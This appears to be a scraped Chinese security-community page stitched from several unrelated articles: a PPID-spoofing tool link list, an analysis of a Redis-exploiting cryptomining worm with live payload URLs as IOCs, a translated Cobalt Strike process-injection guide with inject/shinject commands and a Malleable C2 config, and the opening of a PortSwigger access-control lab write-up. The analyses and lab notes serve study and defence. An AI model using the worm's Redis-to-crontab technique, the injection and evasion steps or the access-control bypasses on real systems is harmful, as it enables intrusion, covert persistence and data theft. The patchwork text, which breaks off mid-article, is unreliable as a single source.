* GetSystem-Offline(C++):<https://github.com/xpn/getsystem-offline>
* APC-PPID(C++)：<https://github.com/hlldz/APC-PPID>
* psgetsystem(PowerShell)：<https://github.com/decoder-it/psgetsystem>
* PPID-Spoofing(C++)：<https://github.com/ewilded/PPID_spoof>
* ProcessInjection(C#)：<https://github.com/3xpl01tc0d3r/ProcessInjection>
* RemoteProcessInjection(C#)：<https://github.com/Mr-Un1k0d3r/RemoteProcessInjection>
* Spoofing-Office-Macro(VBA)：<https://github.com/christophetd/spoofing-office-macro>
## 参考链接
<https://attack.mitre.org/techniques/T1502/>
<https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/>
<https://blog.didierstevens.com/2017/03/20/that-is-not-my-child-process/>
<https://blog.xpnsec.com/becoming-system/>
<https://gist.github.com/xpn/a057a26ec81e736518ee50848b9c2cd6>
<https://decoder.cloud/2018/02/02/getting-system/>
<https://blog.f-secure.com/detecting-parent-pid-spoofing/>
<https://web.archive.org/web/20190526132859/http://www.pwncode.club/2018/08/macro-used-to-spoof-parent-process.html>
<https://www.anquanke.com/post/id/168618>
<https://medium.com/@r3n_hat/parent-pid-spoofing-b0b17317168e>
<https://rastamouse.me/tags/tikitorch/>
<https://github.com/rasta-mouse/TikiTorch>
<https://gist.github.com/christophetd/0c44fd5e16e352ad924f98620094cd8d#file-createwithparentprocess-cpp>
<https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/>
<https://blog.f-secure.com/dechaining-macros-and-evading-edr/>
[阅读原文](https://pentestlab.blog/2020/02/24/parent-pid-spoofing/ "阅读原文") | 社区文章 |
作者：Fooying@云鼎实验室
公众号：[云鼎实验室](https://mp.weixin.qq.com/s/inazTPN5mHJYnt2QDliv8w "云鼎实验室")
#### 一、背景
自从Redis未授权问题获取Linux系统root权限的攻击方法的披露后，由于其易用性，利用该问题入侵Linux服务进行挖矿、扫描等的黑客行为一直层出不穷;而在众多利用该问题入侵服务器进行黑产行为的案例中，其中就存在一类利用该问题进行挖矿并且会利用pnscan自动扫描感染其他机器；该类攻击一直存在，不过在近期又呈现数量增加的趋势，在最近捕获到多次，我们针对其做下具体的分析。
#### 二、漏洞说明
首先针对利用的漏洞做个说明，Redis 默认情况下，会绑定在
0.0.0.0:6379，在没有利用防火墙进行屏蔽的情况下，将会将Redis服务暴露到公网上，如果在没有开启认证的情况下，可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下利用Redis的相关方法，可以成功将自己的公钥写入目标服务器的
~/.ssh 文件夹的authotrized_keys
文件中，进而可以直接登录目标服务器；如果Redis服务是以root权限启动，可以利用该问题直接获得服务器root权限。相关漏洞详情可以参考：<https://www.seebug.org/vuldb/ssvid-89715>
以下为漏洞利用演示（视频地址：<https://v.qq.com/x/page/u0661b9o772.html>）：
经过在ZoomEye和SHODAN检索，可以发现分别众多Redis服务开放在公网上，这些服务都可能成为攻击目标。
#### 三、入侵分析
经过对捕获的事件进行分析，我们发现整个入侵流程大概是包含以下几个环节：
1. 扫描开放6379端口的Linux服务器（后续感染扫描网段为1.0.0.0/16到224.255.0.0/16）
2. 通过redis-cli尝试连接Redis并执行预置在.dat文件里的利用命令将Redis的数据文件修改为/var/spool/cron/root，然后通过在Redis中插入数据，将下载执行脚本的动作写入crontab任务
3. 通过脚本实现以上的相关行为，完成植入并启动挖矿程序
4. 再编译安装pnscan，继续扫描感染下一个目标
#### 四、脚本分析
整个入侵利用以及后续的感染的实现，最主要的功能都是基于通过Redis问题写入crontab任务中下载执行的.cmd脚本（https://transfer.sh/MIpIA/tmp.9kIguIhkI7）来实现的，通过对它的分析，我们基本能够得到整个流程的所有细节，这是一个base脚本，我们通过解读来分析下它的相关功能。
这部分代码只要是用作重复执行的判断，将.mxff0文件作为标记文件，如果存在该文件则代表机器上已执行脚本，直接退出，否则写.mxff0文件并进行下一步动作；
设置预置动作，在脚本退出后删除相关文件和脚本自身；
这部分主要是修改系统的配置，开头两行为关闭SELINUX；然后清空/var/spool/cron，进而判断系统DNS服务器是否存在8.8.8.8，没有则添加；接着清空系统tmp目录和删除相关文件；同时清空系统缓存，而最后修改/etc/security/limits.conf来更新系统的资源限制；
这里再进一步的增加iptables限制6379端口只允许本地访问，同时kill相关包含挖矿、redis客户端、爬虫等进程，这里的目的也比较简单，避免被其他黑客再次入侵，同时清除可能其他黑客入侵启动的进程；
清除相关登录日志、命令操作历史；
这一长串的内容主要目的是下载并编译安装pnscan，从内容中我们可以看到对于不同操作系统的判断然后安装依赖的相关模块，然后才是从github下载pnscan的源码进行编译安装；至于为什么采用编译安装的形式，猜测是出于兼容不同系统以及每次编译生成的pnscan的MD5都不一样，避免形成固定特征；
这部分主要是下载挖矿程序并重命名为.gpg，增加执行权限，执行后删除，同时重新上传到<https://transfer.sh/> 获取新的链接；
而这部分内容主要是生成新的.dat文件，包含将原来.cmd脚本里的里挖矿程序的下载地址替换为上一步上传到<https://transfer.sh/>得到的新地址，还有Redis利用的相关语句；
而步主要是调用pnscan去扫描子网段1.0.0.0/16到224.255.0.0/16中开放6379端口并且操作系统为Linux的目标，然后利用redis-cli执行.dat中的命令，进行下个目标的感染；这里pnscan的-W参数值`'2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d
0a'`转换后内容`'*1\r\n$4\r\nINFO\r\n'`，是向目标Redis服务发送请求获取Redis服务器的各种信息和统计数值，再通过-R参数值`'6f 73 3a 4c 69 6e 75 78'`(转换后内容为os:Linux)判断是否Linux系统。
最后就是收尾工作，清除相关日志和命令执行历史，同时在脚本退出的时候会触发脚本一开始用trap预置的动作，会做删除操作，删除相关文件和脚本自身（rm -rf
m _.cmd tmp._ .r .dat $0）。通过对脚本的解读，我们基本已经清楚整个蠕虫的行为和入侵流程，也就是我们开始所描述的流程。
另外，通过阅读脚本，我们发现虽然整个入侵流程并不是多复杂，但脚本其实有很多“工程化”的细节考虑，不得不让人惊叹入侵者的“考虑周到”：
利用.mxff0文件做重复执行检验，避免脚本的重复执行
1.为了增加成功性，一些环境的预处理：
* 关闭SELINUX
* 增加8.8.8.8的DNS
* 清空tmp目录
* 清空系统缓存
* 修改系统资源限制
2.痕迹清除
* 利用trap预置动作好在脚本执行完成后删除相关文件和脚本自身
* 重复清除相关登录等日志和命令执行历史
3.同行预防
* 利用iptables避免Redis服务开放在公网上从而导致再次被入侵
* 清除同行可能遗留的入侵行为，kill相关进程
4.系统兼容性
* 判断操作系统，针对性的执行相关命令，安装依赖包，最大限度的提高pnscan编译安装的成功率
* 关闭SELINUX，通过setenforce和修改/etc/sysconfig/selinux两种手段实现
* 写入Crontab里的下载并执行脚本的任务，通过curl、wget、lynx三种方式实现
* Pnscan扫描增加操作系统判断，减少没有必要的感染尝试
5.特征去除，存活延续
* Pnscan采用安装编译的方式，既提高在不同系统下的兼容性，也避免形成固定的MD5特征
* 利用<https://transfer.sh>中转，每一次感染均生成新的连接，避免固定链接形成固定特征
* 下载到系统的相关文件均采用随机生成的文件名
正是由于入侵者种种的”考虑周到”使得他的入侵感染的成功率能够达到的一定的层度。
#### 五、安全建议
**病毒清理和系统恢复**
我们主要参考脚本的相关行为进行对应的行为恢复和删除即可：
1. 关闭SELINUX，根据系统原环境和业务需要重新开启SELINUX
2. 清空了/var/spool/cron，根据原先备份清空恢复
3. 修改/etc/resolv.conf增加DNS服务8.8.8.8，如无影响可不处理，或者删除
4. 修改了系统资源限制(/etc/security/limits.conf)，可根据备份情况恢复
5. 增加了对6379端口的Iptables规则，如果不影响业务，建议保留
6. Kill了相关进程，检查是否包含业务所需进程，根据情况恢复
7. 安装了相关包，具体列表见上文，可根据情况删除或者如无影响可保留
8. 编译安装了pnscan，可删除/usr/local/bin/pnscan
9. 清除了相关日志和tmp目录，对系统无影响，可忽略
10. 启动了挖矿进程和pnscan扫描感染，进程：.gpg、pnscan，直接kill
还包含了一些中间文件，虽然脚本包含相关删除操作，但建议还是全局查找确认：
.mxff0、.x112、.gpg、.dat、.cmd、.r.xx.xx.o/l、tmp.xxxx
**Redis服务加固**
1. 导致入侵的主要原因是Redis未授权访问问题，所以如果要扼制入侵的入口，需要针对Redis服务进行加固，避免黑客通过该途径进行入侵植入挖矿蠕虫。
2. 如无必要，修改bind项，不要将Redis绑定在0.0.0.0上，避免Redis服务开放在外网，可以通过iptables或者腾讯云用户可以通过安全组限制访问来源
3. 在不影响业务的情况，不要以root启动Redis服务，同时建议修改默认的6379端口，大部分针对Redis未授权问题的入侵都是针对默认端口进行的
4. 配置AUTH，增加密码校验，这样即使开放在公网上，如果非弱口令的情况，黑客也无法访问Redis服务进行相关操作
5. 使用rename-command CONFIG "RENAME_CONFIG"重命名相关命令，这样黑客即使在连接上未授权问题的Redis服务，在不知道命令的情况下只能获取相关数据，而无法进一步利用
**其他建议**
1. 腾讯云公有云和私有云用户可以安装腾讯云主机安全产品-云镜，在被入侵植入木马后可以第一时间获得提示，及时止损
2. 建议开通云镜专业版，可以提前检测获知服务器的安全漏洞，及时修复，避免被利用
#### 六、 附录
**IOCs**
1.脚本 <https://transfer.sh/MIpIA/tmp.9kIguIhkI7>
2.挖矿程序
<https://transfer.sh/MIpIA/tmp.vOYTgmtZge>
2918ee2b69bc4e6b581c7b25f08434fe
3.矿池域名 <http://jb.chakpools.com/>
4.相关文件名 .mxff0、.x112、.gpg、.dat、.cmd、.r.xx.xx.o/l、tmp.xxxx
**链接**
1.样本
<https://www.virustotal.com/#/file/9756e66c168ec963c58b3d0ca5483927c14a64a99ba718fa9488a52d4d207ed6>
2.Pnscan项目地址
<https://github.com/ptrrkssn/pnscan>
3.漏洞说明
<https://www.seebug.org/vuldb/ssvid-89715>
4.漏洞利用演示
<https://v.qq.com/x/page/u0661b9o772.html>
5.云镜产品官网
<https://cloud.tencent.com/product/hs>
* * * | 社区文章 |
原文地址：
https://blog.cobaltstrike.com/2019/08/21/cobalt-strikes-process-injection-the-details/
### 0x01 前言
在Cobalt Strike 3.14这个版本的更新中我注意到了一些进程注入方面有了新的功能变化，深得我心。
所以决定写一下我对进程注入的看法，并分享一些关于Cobalt Strike实现进程注入的技术细节，以及一些您可能希望了解的红队攻击技巧。
### 0x02 注入功能
Cobalt
Strike目前提供了一些场景下的进程注入功能，最常见的就是直接将Payload注入到新进程中去，该功能可通过您已获取到的种种会话中去执行，比如[Artifact
Kit](https://www.cobaltstrike.com/help-artifact-kit)，[Applet
Kit](https://www.youtube.com/watch?v=QvQerXsPSvc)和[Resource
Kit](https://www.cobaltstrike.com/help-resource-kit)。 本文将重点介绍了Cobalt
Strike的在Beacon会话中的进程注入。
inject和shinject命令可将代码注入到任意远程进程中,一些内置的 `post-exploitation`模块也可通过该工具注入到特定的远程进程中。
Cobalt Strike这样做是因为将shellocde注入新会话中的会比将会话直接迁移其他C2更保险。
（大概原因是直接迁移要是新会话没拉起来，原会话已经掉了就会很尴尬。）
所以Cobalt Strike的`post-exploitation`在执行时都会拉起一个临时进程，并将对应payload的DLL文件注入到进程，并通过检索命名管道来确认注入的结果。
当然，这只是进程注入的特例而已，通过这样的方式，我们可以放心的操作这些临时进程的主线程，而不用担心操作失误导致程序奔溃而导致权限丢失。
这是在学习使用Cobalt Strike注入进程时需要了解的一个非常重要细节。
* * *
原文中提到的inject命令接的第一个参数是要注入的目标程序的PID，第二个参数是目标程序的架构，不填默认为x86。
inject 5732 x64
shinject的参数写法和inject一致，第三个参数不写的话会提示选择shellcode文件，注意需要生成的bin格式的payload。
shinject 5732 x64 /xxx.bin
除了原文中提到的两条beacon命令之外，其实还有一个shspawn也可以，其作用是启动一个进程并将shellcode注入其中
参数仅需选择程序架构即可。
shspawn x64 /xxx.bin
如图，payload被注入到rundll32.exe程序中去了，这种方式比前两种要稳定得多，不怕把程序搞奔溃。
### 0x03 注入流程
Cobalt Strike的Malleable C2配置文件中的[process-inject](https://www.cobaltstrike.com/help-malleable-postex#processinject)
块是在配置进程注入的地方：
process-inject {
# set remote memory allocation technique
set allocator "NtMapViewOfSection";
# shape the content and properties of what we will inject
set min_alloc "16384";
set userwx "false";
transform-x86 {
prepend "\x90";
}
transform-x64 {
prepend "\x90";
}
# specify how we execute code in the remote process
execute {
CreateThread "ntdll!RtlUserThreadStart";
CreateThread;
NtQueueApcThread-s;
CreateRemoteThread;
RtlCreateUserThread;
}
}
这段代码的执行流程大致如下：
1. 打开远程进程的句柄。
2. 在远程进程中分配内存。
3. 复制shellcode到远程进程。
4. 在远程进程中执行shellcode。
#### step1：分配并复制数据到远程主机
第一步存在但是日常开发不太关注。如果我们拉起一个临时进程（如调用`post-exploitation`）;
也就是说我们已经有了远程进程的句柄，此时如果我们想将代码注入现有的远程进程...[手动狗头]，Cobalt
Strike将使用[OpenProcess](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess)来解决这个问题。
#### step2-3
Cobalt Strike提供了两个在远程进程中分配内存并将数据复制到其中的方案。
第一个方案是经典的`VirtualAllocEx`->`WriteProcessMemory`模式，这是模式在攻击工具中很常见。值得一提的是该方案也适用于不同的流程体系结构，进程注入的应用不会仅限于注入x64目标进程。这也就意味着一个好的方案需要考虑到出现的不同极端情况（比如，x86->x64，又或者x64->x86等等）。这使`VirtualAllocEx`成了一个相对靠谱选择，Cobalt
Strike默认使用的方案也是他。如果要直接指定此模式可以把`process-inject`->`allocator`选项设置为`VirtualAllocEx`即可。
Cobalt
Strike提供的第二种方案是`CreateFileMapping`->`MapViewOfFile`->`NtMapViewOfSection`模式。此方案会先创建一个支持支持Windows系统的映射文件，然后将该映射文件的视图映射到当前进程，接着Cobalt
Strike会将注入的数据复制到与该视图关联的内存中，`NtMapViewOfSection`调用使我们的远程进程中可用的相同映射文件。如需使用该方案将`process-inject`->`allocator`设置为`NtMapViewOfSection`即可，这个方案的缺点是仅适用于`x86`->`x86`和`x64`->`x64`，涉及到跨架构注入的时候Cobalt
Strike会自动切回到`VirtualAllocEx`模式。当`VirtualAllocEx`->`WriteProcessMemory`模式注入受到杀软防御时改用本方案尝试一下也是一个不错的选择。（杀软未检测将数据复制到远程进程的其他方法时非常有用。）
#### 数据转换
上面提到步骤2和3均为假定一切正常的情况下按原始数据复制到注入的数据，真实环境中几乎不可能。为此Cobalt Strike的process-inject中加入了转换注入数据的功能，`min_alloc`选项是Beacon将在远程进程中分配的块的最小大小，`startrwx`和`userwx`选项是已分配内存的初始布尔值和已分配内存的最终权限。如需禁止数据可读可写可执行(`RWX)`，请将这些值设为`false`。
`transform-x86`和`transform-x64`支持将数据转换为另一架构的，如需预先添加数据，请确保它是对应架构可执行的代码。
在process-inject块中转换的内容其实是非常基础，因为这些选项对所有注入的内容都很安全。如果我假设我收到的是一个与位置无关的blob，也就是一个独立的程序，已知可以随意新添或追加数据，如果我假设这个与位置无关的blob不会自行修改，那么就可以在绕过没有RWX权限的情况下的显示。这些是我要使用但是一无所知的数据。关注点回到注入本身，Malleable
C2[ stage block](https://www.cobaltstrike.com/help-malleable-postex#memory)可用于修改Beacon，Malleable C2 [post-ex](https://cobaltstrike.com/help-malleable-postex#postex)用于修改Cobalt
Strike的`post-exploitation`的DLL文件。
这些是基本的转化不容忽视，许多内容签名在可观察边界的开始处以固定偏移量查找特定字节，这些检查在O（1）时间内发生，这有利于O（n）搜索，过度的的检查和安全技术可能会消耗大量内存，性能就会随之降低了。
[二进制填充](https://attack.mitre.org/techniques/T1009/)也会影响Cobalt Strike中`post-exploitation`的线程起始地址偏移，当Beacon将DLL注入内存时;
它在应该该DLL导出的`ReflectiveLoader`函数的位置启动线程，此偏移量显示在线程的起始地址特征中，并且是寻找特定的`post-exploitation DLL`的[潜在指示符](https://medium.com/@olafhartong/cobalt-strike-remote-threads-detection-206372d11d0f)。注入DLL之前的数据会影响此偏移量。（不清楚线程相关的东西也没关系，下面接着会讲...）
[In-Memory Evasion](https://blog.cobaltstrike.com/2018/02/08/in-memory-evasion/)的第3部分讨论了用于检测内存中注入的DLL的内容，内存和线程特征。
### 0x04 代码执行：咋这么多该死的小众化的案例......
（译者：咋全尼玛文字描述，不见一张图，啃起来真费劲啊...）
本节我们假设我们已经将数据注入到远程进程中了，那么下一步是执行注入进来的内容了。 `process-inject`->`execute
block`可以满足这个需求。开发者可以指定Cobalt
Strike在需要注入代码时会考虑哪些选项，Beacon会检索一次这些选项，只要其中一个选项成功时，Beacon就会停止检索。
前面提到过但我想再次强调一下的是进程注入过程中充满了各种极端情况，您指定的选项列表必须得涵盖这些极端情况。漏掉一种都可能会导致注入失败，看起来可能会觉得进程注入因出现得错误得原因都是随机的，我在我的博客文章中也有写到如何去避免一些看似随机的错误。
#### 有哪些不确定的案例？
Cobalt
Strike中所有的注入技术都适用于x86->x86和x64->x64。从一个架构注入另一个架构看似容易得事，但是实际上x86->x64和x64->x86都需要花费不少的心思。
其中一种案例是未知远程进程是否是一个临时进程。这个问题利弊没有明确的界限，如果我们将其视为不同，则是有利的，反之有害，Beacon的post-ex模块会拉起一个临时进程，因为这个进程是临时的，所以我们可以放心的做更多的事情。
另一个有利的案例是自我自我注入，如果注入自身的进程，我们可以提前准备不同的方式来应对错误。
注入自己时，我们可以使用`VirtualAlloc`和`CreateThread`，在处理远程进程注入的安全堆栈时，自我注入是一种稳妥的针对远程进程的方法。
最后一个案例是注入的数据是否有参数，这里可以通过带有x64目标的`SetThreadContext`传递参数（感谢fastcall！），目前Cobalt
Strike的实现方案暂不能通过`SetThreadContext`传递带有x86目标的参数。
导致进程注入失败的未知因素远不止这些，某些方法在`Windows
XP`系统上风险较大。`RtlCreateUserThread`首当其冲，当必须跨桌面会话边界进行注入时，其他方法并不起作用（CreateRemoteThread还在研究中...）。
### 0x05 代码执行：不存在完美的执行方案
某些执行选项的范围受限上述特殊情况，指定执行块时，首先放置这些特殊情况（自注入，挂起进程），这种方式不适合当前的注入环境时，beacon会直接将忽略这些选项。
接下来，您应该跟进了解Beacon一般使用哪些方法，遵循一个基本原则，每种方法都有其局限性，没有万能的注入方式，如果您只关心是否能够注入成功，那就打扰了。3.14之前的Beacon的在注入cocktail之前做的的事就是保证每种方法都有备份。
下面让我们一起来看看Beacon中不同执行方式之间的细微差别吧：
#### CreateThread
这里我从`CreateThread`开始讲起，我认为存在`CreateThread`的话它应该首先出现在一个执行块中，此功能仅在限于进行自我注入时运行。
使用`CreateThread`将会启动指向您希望Beacon运行的代码的线程。
但是要小心，当您以这种方式自我注入时，您拉起的线程将具有一个起始地址，该地址与加载到当前进程空间中的模块（DLL，当前程序本身）无关，这是一个经验之谈。为此，您可以指定`CreateThread“module！somefunction
+ 0x ##”`。这个变种将生成指向指定函数的挂起线程，如果不能通过`GetProcAddress`获得指定的函数;
这个变种就没有意义。Beacon将使用`SetThreadContext`更新此新线程以运行注入的代码，这也是一种自我注入的方式，可以为您的线程提供更有利的起始地址。
#### SetThreadContext
接下来是`SetThreadContext`，这是用于为 `post-exploitation`任务生成的临时进程的主线程的方法之一。Beacon的`SetThreadContext`适用于x86->x86，x64->x64和x64->
x86。
如果选择了使用`SetThreadContext`，请将其放在执行块中的`CreateThread`选项之后，使用`SetThreadContext`时;
您的线程将具有反映临时进程的原始执行入口点的起始地址。
#### NtQueueApcThread-s
暂停进程的另一个方式是使用`NtQueueApcThread-s`，此方式会使用`NtQueueApcThread`对目标线程下次唤醒时运行的一次性函数进行列队。这种情况下，目标线程即临时进程的主线程。接着下一步是调用`ResumeThread`，该函数唤醒我们挂起的进程的主线程，由于此时该进程已被暂停，我们不必担心会将此主线程返回给进程。此方式仅适用于x86->x86和x64->x64。
`SetThreadContext`和`NtQueueApcThread-s`两者之间选用谁就看您自己了。大多数情况下我认为后者明显更方便。
#### NtQueueApcThread
下一个要考虑的方式是`NtQueueApcThread`，与`NtQueueApcThread-s`不同的是它的出现旨在针对现有的远程进程。该方法需将RWX存根推送到远程进程中，此存根包含与注入相关的代码，执行该存根需将存根添加到远程进程中每个线程的APC队列中，只要其中一个线程进入可警告状态，我们的存根代码就将被执行。
那么存根有什么作用呢？
首先存根会检查它是否已经运行，如果是就什么都不执行，防止注入的代码多次运行。
接着存根将使用我们注入的代码及其参数调用`CreateThread`，这样做是为了让APC快速返回并让原始线程继续工作。
没有线程会唤醒并执行我们的存根，Beacon大概会等待200ms后开始并检查存根以确定代码是否仍在运行，如果没有就更新存根并将注入标记为已经在运行，并继续下一项内容，这就是`NtQueueApcThread`技术的实现详情。
目前我使用过几次这种方式，因为一些安全产品对此事件的防御关注度很低。也就是说OPSEC有关注到它，它也确实是推动RWX存根的一个内存指示器，它还会针对我们推送的远程进程的代码调用`CreateThread`，该线程的起始地址不支持受磁盘上模块，使用`Get-InjectedThread`扫描效果不佳。如果您觉得这种注射方法很有价值，请继续使用它。注意权衡其利弊。值得一提的是该方式仅限于x86->x86和x64->x64。
#### CreateRemoteThread
另一个方式是`CreateRemoteThread`，从字面意思就可以了解到他是远程注入的技术。从Windows
Vista开始，跨会话边界注入代码就会失败。 在Cobalt Strike中，`vanilla CreateRemoteThread`涵盖了x86
->x86，x64->x64和x64->x86三种情况。这种技术的动静也比较明显，
当使用此方法在另一个进程中创建线程时，将触发系统监控工具Sysmon的事件8，Beacon确实实现了`CreateRemoteThread`的变种，它以`“module！function
+ 0x
##”`的形式接受伪起始地址，与`CreateThread`一样，Beacon将在挂起状态下创建此线程，并使用`SetThreadContext`/`ResumeThread`使执行我们的代码，此变种仅限于x86->x86和x64->x64。如果`GetProcAddress`无法使用指定的函数，则这个变种也将失效。
#### RtlCreateUserThread
Cobalt Strike执行块的最后一个方式是`RtlCreateUserThread`。
此方式与`CreateRemoteThread`非常享受，少了一些限制，但也并非完美的，也有缺陷。
`RtlCreateUserThread`将在跨会话边界注入代码，据说在Windows
XP上的注入时也会有很多问题，此方法同样会触发系统监控工具Sysmon的事件8。`RtlCreateUserThread`的一个好处是它涵盖x86->x86，x64->x64，x64->x86，以及x86->x64，最后一种情况很重要。
x86->x64注入在您处于x86 Beacon会话时开展的，并且为您的`post-exploitation`任务生成x64的进程，`hashdump`，`mimikatz`，`execute-assembly`和`powerpick`模块都默为x64。为了实现x86
->x64的注入，此方式将x86进程转换为x64模式并注入RWX存根以方便从x64中调用`RtlCreateUserThread`，该手法来自Meterpreter，RWX存根是一个相当不错的内存指示器。
我早就建议过：“尽可能地让进程呆在x64模式吧”，上述情况就是为什么我会这样说，同时也建议所有`process-inject`->`execute
block`中都放一个`RtlCreateUserThread`，将此作为最底层的方式是有它的意义的，没有其他工作时就可以使用它。
### 0x06 没有进程注入的日子还怎么过
当我在考虑如何灵活的使用这些攻击技巧时，我也在想如果这些方式都行不通该怎么处理？
进程注入是将`payload`/`capability`迁移到不同进程的一种技术（比如从桌面会话0转到桌面会话1），使用runu命令就可以无需进程注入即可转移到不同的进程上，可将bot程序作为您指定的任意进程的子进程来运行。这是一种在没有进程注入的情况下将会话引入另一个桌面会话的方法。
进程注入也是一种在目标上无落地文件执行代码的方法之一。 在Cobalt Strike的很多`post-exploitation`功能都可以选择针对特定进程发起攻击，指定当前的Beacon进程就可以无需远程注入即可使用它们，这是自我注入。
当然，无落地文件执行代码并非完美，有时候将某些东西放在磁盘上才是最好的选择，我曾经成功地将键盘记录工具编译为DLL并将其放到`c:\windows\linkinfo.dll`中并将其加载到`explorer.exe`进程。
我们在同一系统上开放共享来分享定期抓获的键盘记录，有助于我和我的小伙伴们在高度审查的情况下进行操作，在这种情况下很难让payload在内存中长期活下来。
如果你对这些东西感兴趣，建议你观看[Agentless Post
Exploitation](https://blog.cobaltstrike.com/2016/11/03/agentless-post-exploitation/)和[Fighting
Toolset](https://blog.cobaltstrike.com/2018/04/23/fighting-the-toolset/)。
（啃了一天，原文俚语有点多，有些地方读得懵逼了，如有翻译欠妥的地方还请师傅们扶正） | 社区文章 |
# 梨子带你刷burpsuite靶场系列之服务器端漏洞篇 - 访问控制漏洞与越权专题
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 本系列介绍
>
> PortSwigger是信息安全从业者必备工具burpsuite的发行商，作为网络空间安全的领导者，他们为信息安全初学者提供了一个在线的网络安全学院(也称练兵场)，在讲解相关漏洞的同时还配套了相关的在线靶场供初学者练习，本系列旨在以梨子这个初学者视角出发对学习该学院内容及靶场练习进行全程记录并为其他初学者提供学习参考，希望能对初学者们有所帮助。
## 梨子有话说
>
> 梨子也算是Web安全初学者，所以本系列文章中难免出现各种各样的低级错误，还请各位见谅，梨子创作本系列文章的初衷是觉得现在大部分的材料对漏洞原理的讲解都是模棱两可的，很多初学者看了很久依然是一知半解的，故希望本系列能够帮助初学者快速地掌握漏洞原理。
## 服务器端漏洞篇介绍
> burp官方说他们建议初学者先看服务器漏洞篇，因为初学者只需要了解服务器端发生了什么就可以了
## 服务器端漏洞篇 – 访问控制漏洞与越权专题
### 什么是访问控制？
访问控制，又叫授权，就是明确你有做哪些事的权限，在Web应用的上下文中，访问控制取决于身份验证和会话管理
* 身份验证(authentication) – 确认你是不是你
* 会话管理(session management) – 管理同一用户正在发出哪些HTTP请求
* 访问控制(authorization) – 明确你能不能做这个能不能做那个
访问控制的漏洞的重点不在于实现访问控制策略的技术手段，而是访问控制策略制定的严谨性，往往相关的漏洞都是因为访问控制策略制定上的疏忽导致在利用技术手段实现它的时候会让攻击者利用这个疏忽进行访问控制策略的破坏
### 访问控制安全模型
### 什么是访问控制安全模型？
所谓模型，就是通过长时间的沉淀归纳出的一些规范、模式之类的产物，那么什么是访问控制安全模型呢？就是出于安全的目的设计的用于规范访问控制策略的模型，下面我们来介绍几种比较成熟的访问控制安全模型
### 程序化访问控制
程序化访问控制就是利用一个权限矩阵来存储用户权限，然后再把这个矩阵存放在数据库中，因为是利用矩阵这种数据结构存储权限，所以它可以存储角色、组、单个用户的权限，可以做到很细致的访问控制。
### 自主访问控制(DAC)
自主访问控制是资源所有者可以自主定义资源的访问控制权限，因为每个资源的访问控制权限都要所有者进行配置，所以这种模型设计上可能会非常复杂
### 强制访问控制(MAC)
不同于DAC，MAC是所有资源的访问控制权限均统一分配，任何用户都无法对其进行配置，这类模型一般应用于安全级别非常高的应用系统如军事，能源等关键基础设施领域。
### 基于角色访问控制(RBAC)
应用系统将用户根据职责划分成不同的角色或用户组中，然后将资源的访问控制权限分配给用户组就可以了，如果需要取消某个用户的访问控制权限，直接将该用户踢出角色或用户组即可，当应用系统角色数量恰到好处时，该模型是最有效的。
### 从用户角度，访问控制可以分为哪几类？
从用户角度，访问控制可以分为
* 垂直访问控制
* 水平访问控制
* 上下文相关访问控制
### 垂直访问控制
大家先理解一下这个垂直啊，就是上下级嘛，所以该类访问控制主要是限制对不同类型用户之间的访问控制权限，比如管理员可以创建用户啊，修改应用系统配置啊，而普通用户不行，通常情况下，采取这种访问控制策略可以实现职责分离及最小特权。
### 水平访问控制
区别于垂直，水平的概念就是同一类型的用户之间的访问控制权限，比如我只能看到我自己的账号信息，你只能看到你的。
### 上下文相关访问控制
上下文相关，也比较好理解，就是应用系统根据应用系统的状态或者与用户之间的交互对访问控制权限做限制，该访问控制策略可以应用于防止以错乱的顺序执行功能。
### 垂直提权
垂直越权就是当前用户可以使用其他类型用户的功能，比如普通用户可以使用管理员的功能。
### 未受保护的功能
有时候应用系统并未对一些敏感页面做访问控制限制，就可能导致垂直提权，比如管理界面只会通过管理员账户界面链接到，但是如果我们已经知道了管理界面的路径，我们可以直接用普通用户身份进入管理界面，那么我们怎么知道一些敏感路径呢，可以从一些文件中泄漏出来，比如robots.txt等。
因为很多敏感路径可以通过目录扫描的方式获得，所以有些应用程序将这些路径修改为不易猜解的路径，但是他们会将入口点放在前端文件中，这让这种看似安全的防护手段形同虚设。
### 配套靶场1：未受保护的管理员功能
因为刚讲了这个知识点嘛，就访问一下robots.txt文件
哦？好家伙，我们发现了敏感路径，这不就成了嘛，然后我们访问该路径
我们发现虽然我们现在是普通用户，但是因为找到了敏感路径而可以访问到管理面板，我们就可以删除指定用户了
### 配套靶场2：利用不易猜解URL的未受保护的管理员功能
知识点讲了，所以我们f12看看前端文件有没有泄漏什么敏感路径
我们看到了js里有这一段逻辑判断当前用户是否是管理员，如果是就链接到管理界面，唉，但是这段逻辑写在了前端就可以被所有人看到，再复杂的URL也形同虚设，我们找到管理面板路径以后就像上一题一样操作就可以了
### 基于参数的访问控制手段
有的应用程序通过URL参数值来实现访问控制，比如这样的URL
https://insecure-website.com/login/home.jsp?admin=true
https://insecure-website.com/login/home.jsp?role=1
这样的访问控制手段相信大家肯定能看出来是非常脆弱的了
### 配套靶场1：由请求参数控制的用户角色
我们登录给定的用户，发现Cookie有这样的字段
从图中来看我们可以猜到应用系统就是通过这个参数判断是否为管理员的，于是我们将它改为true后即可触发垂直提前进入管理面板
然后还是同样的操作，删除指定用户
### 配套靶场2：可以在用户配置中修改角色
我们登录用户，发现修改邮箱功能点的响应是这样的
我们看到响应中会显示roleid，我们尝试在请求json中将roleid修改成2试试
我们发现roleid也是可以改的，我们就可以进入管理面板了
然后我们就能删除指定用户了
### 配置错误导致访问控制策略被破坏
有的应用程序通过基于角色的访问控制策略限制用户对URL的访问，但是如果应用程序接受非标准的HTTP头部字段，比如X-Original-URL和X-Rewrite-URL，这类头部字段可以覆盖要请求的URL，然后应用程序仅在前端对URL进行校验，如果利用这类头部字段覆盖请求URL，可以很轻松地绕过前端校验转而请求本不允许访问的URL。
如果访问控制策略仅限制某种HTTP请求方法，则攻击者可以尝试修改为其他请求方法绕过该策略，比如将POST换成GET，这一点不太好理解，下面我们通过两个配套靶场来深入讲解。
### 配套靶场1：可以绕过基于URL的访问控制
刚讲过的知识点，我们通过X-Original-URL覆盖请求URL，可以很容易绕过前端校验进入管理面板
